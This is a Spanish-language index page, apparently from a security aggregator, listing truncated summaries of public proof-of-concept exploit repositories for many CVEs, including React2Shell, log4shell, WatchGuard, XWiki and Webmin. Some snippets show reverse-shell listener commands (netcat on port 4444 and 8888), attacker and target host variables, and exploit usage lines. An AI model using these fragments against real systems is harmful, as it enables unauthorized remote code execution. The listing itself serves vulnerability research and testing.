react2shell

React2Shell Exploit de prueba de concepto para CVE-2025-55182, una vulnerabilidad de ejecución remota de código no autenticada, también conocida como React2Shell. El script se utiliza para obtener una shell en versiones de Next.js anteriores a: 15.0.4 y anteriores 15.1.8 y anteriores 15.2.5 y...

watchguard_cve-2022-26318

watchguardcve-2022-26318 Prueba de concepto de RCE en Watchguard CVE-2022-26318 !/usr/bin/python3 -- coding: utf-8 - - CVE-2022-26318 import socket import ssl import gzip Remote WatchGuard XTM or FireWare OS RHOST = "1.1.1.1" Local host with nc listener: nc -l 8.8.8.8 8888 LHOST = "8.8.8.8" def...

CVE-2025-55182

CVE-2025-55182 RCE Herramienta de comprobación de uso propio para verificar la vulnerabilidad CVE-2025-55182 Principio de la vulnerabilidad React Server Components presenta un defecto en el análisis de rutas al decodificar los payloads enviados al endpoint de la función del servidor. Utiliza el...

Project-Project-Chimera-Exploiting-a-Modern-WordPress-XXE-to-Pillage-Secrets-

Objetivo del Proyecto: Demostrar una cadena de ataque completa sobre una instalación vulnerable de WordPress, explotando CVE-2021-29447 XXE en la biblioteca de medios para lograr ejecución remota de código y compromiso total del sistema. Fase 1: Reconocimiento y Enumeración Escaneo de Red con Nma...

React2Shell-CVE-2025-55182-Testing-Environment

Entorno de Pruebas React2Shell CVE-2025-55182 Un entorno de pruebas contenerizado para CVE-2025-55182, una vulnerabilidad crítica 10.0 CVSS de Ejecución Remota de Código en React Server Components. ⚠️ ADVERTENCIA Este entorno es intencionalmente vulnerable y solo debe usarse para: Investigación y...

CVE-2024-4577

Este es el POC de CVE 2024-4577 Este exploit permite al atacante realizar RCE en versiones de PHP como PHP 8.3 8.3.8, PHP 8.2 8.2.20, PHP 8.1 8.1.29 ¡Puedes consultar los argumentos en el código! Para leer más sobre este exploit en particular, consulta nist.gov...

xwiki_solrsearch-rce-exploit

solrsearch-rce-exploit PoC de RCE no autenticada para XWiki SolrSearch CVE-2025-24893. Ejecución de comandos + shell inversa. CVE-2025-24893 – XWiki SolrSearch RCE PoC Prueba de concepto para la inyección de plantillas SolrSearch de XWiki que permite la ejecución remota de código sin autenticació...

CVE-2012-2982-Webmin-RCE

Webadmin 1.580 RCE PoC CVE-2012-2982 Este repositorio contiene un exploit de prueba de concepto PoC en Python para Webmin versión 1.580 , que es vulnerable a ejecución remota de comandos RCE debido a una sanitización inadecuada de entradas. La vulnerabilidad existe en el componente file/show.cgi ...

CVE-2021-44228

CVE-2021-44228 log4shell POC Herramienta de escaneo log4j Esta herramienta te ayudará a identificar la vulnerabilidad de ejecución remota de código log4j en tus sistemas. Requisitos Necesitarás instalar httpx, subfinder, assetfinder, curl y amass para ejecutar el script bash. Instalación 1...

apache-cve-2021-42013-rce

apache-cve-2021-42013-rce Laboratorio de pruebas de penetración basado en Docker que simula la vulnerabilidad CVE-2021-42013 Path Traversal y RCE en Apache HTTP Server 2.4.49. Este proyecto ha sido preparado para simular y explotar la vulnerabilidad CVE-2021-42013 presente en Apache HTTP Server...

CVE-2025-55182

CVE-2025-55182.yaml PoC de CVE-2025-55182 nuclei -target url -t CVE-2025-55182.yaml Adaptado de nuclei-template Código principal: root@kitploit: "then":"$1:proto:then","status":"resolvedmodel","reason":-1,"value":""then":"$B1337"","response":"prefix":"var...

CVE-2021-41653

CVE-2021-41653 TP-Link TL-WR840N EU v5 Ejecución Remota de Código Referencia: https://k4m1ll0.com/cve-2021-41653.html...

CVE-2025-55182-PoC

CVE-2025-55182-PoC Poc for CVE-2025-55182 root@kitploit: Usage: python3 poc.py -u http://target.com --cmd "" Legal Disclaimer This tool is provided for educational purposes and authorized security testing only. Usage of this tool for attacking targets without prior mutual consent is illegal. The...

CVE-2025-30397---Windows-Server-2025-JScript-RCE-Use-After-Free-

CVE-2025-30397---Windows-Server-2025-JScript-RCE-Use-After-Free Remote Code Execution via Use-After-Free in JScript.dll CVE-2025-30397 🧠 Description This repository contains a proof-of-concept PoC exploit for a Use-After-Free vulnerability in the JScript engine jscript.dll affecting Windows Serve...

CVE-2024-28397-Reverse-Shell

CVE-2024-28397-Reverse-Shell Reverse shell para CVE-2024-28397. El exploit funciona para js2py = v0.74 Requisitos Librería requests pip install requests Python3 Netcat O algo que puedas usar como listener para la reverse shell Uso Para el listener root@kitploit: nc -lnvp 4444 Para el exploit...

CVE-2024-21689

CVE-2024–21689 RCE Bamboo Data Center and Server Atlassian Puntuación CVSS - 7.6 🔥 Descripción Esta vulnerabilidad RCE Ejecución Remota de Código de alta gravedad CVE-2024-21689 se introdujo en las versiones 9.1.0, 9.2.0, 9.3.0, 9.4.0, 9.5.0 y 9.6.0 de Bamboo Data Center and Server. Esta...

GZDoom-Arbitrary-Code-Execution-via-ZScript-PoC

GZDoom = 4.13.1 Ejecución de Código Arbitrario a través de ZScript Malicioso Una prueba de concepto para una vulnerabilidad de ejecución de código arbitrario que encontré en la funcionalidad ZScript de GZDoom https://github.com/zdoom/gzdoom. Un atacante puede compartir un archivo PK3 que contenga...

CVE-2017-9805

Probar nuclei CVE-2017-9805.yaml - struts2 showcase RCE Construir Dockerfile docker build -t cve-2017-9805 . Iniciar y desacoplar el contenedor docker run --name cve-2017-9805 -p 127.0.0.1:8080:8080 -dit cve-2017-9805 /bin/bash Acceder al contenedor en ejecución docker exec -it cve-2017-9805...

CVE-2024-31835

CVE-2024-31835 Vulnerabilidad de Cross Site Scripting XSS en flatpress CMS Flatpress v1.3 permite a un atacante remoto ejecutar código arbitrario a través de un payload manipulado en el parámetro file name. Componente afectado: Campo de carga de archivos del panel de administración de FlatPress C...

CVE-2022-37205

CVE-2022-37205 CVE-2022-37205 POC Descripción sugerida RESERVADO JFinal CMS 5.1.0 está afectado por: Inyección SQL. Estas interfaces no usan el mismo componente, ni tienen filtros, sino que cada una utiliza su propio método de concatenación SQL, lo que resulta en inyección SQL. Información...